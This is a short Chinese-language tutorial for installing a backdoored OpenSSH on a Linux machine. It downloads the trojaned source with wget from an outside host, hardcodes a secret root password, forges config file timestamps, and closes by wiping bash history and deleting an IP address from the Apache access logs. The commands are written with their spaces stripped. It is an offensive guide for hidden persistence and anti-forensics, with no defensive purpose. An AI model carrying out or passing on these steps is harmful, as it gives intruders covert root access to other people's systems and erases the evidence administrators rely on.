LinuxSSH后门快速安装与使用

1、mv/etc/ssh/ssh_config/etc/ssh/ssh_config.old


2、mv/etc/ssh/sshd_config/etc/ssh/sshd_config.old


3、下载并安装ssh后门:


shell-#wgethttp://img.hakzvip.com/1007/sshbd.tgz

shell-#tarzxvfsshbd.tgz

shell-#cdopenssh
 
4、设置ssh后门的登录密码：
viversio.h

#defineSSH_VERSION"OpenSSH_4.2"–>you'vetoeditOpenSSH_4.2
viincludes.h

define_SECRET_PASSWD"test123"->editasuwishpassword
 
5、继续安装：
shell-#./configure–prefix=/usr–sysconfdir=/etc/ssh

shell-#make&&makeinstall

shell-#cpssh_configsshd_config/etc/ssh/

touch-r/etc/ssh/ssh_config.old/etc/ssh/ssh_config

touch-r/etc/ssh/sshd_config.old/etc/ssh/sshd_config

shell-#/etc/init.d/sshdrestart
 
6、登入后门：
ssh-lrootxx.xx.xx.xx<IP_backdoored_machine>

密码：test123

echo>/root/.bash_history//清空操作日志
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7、清除apache日志：
exportHISTFILE=/dev/null

exportHISTSIZE=0

cd/etc/httpd/logs/

sed-i'/210.73.64.100/d'access_log*

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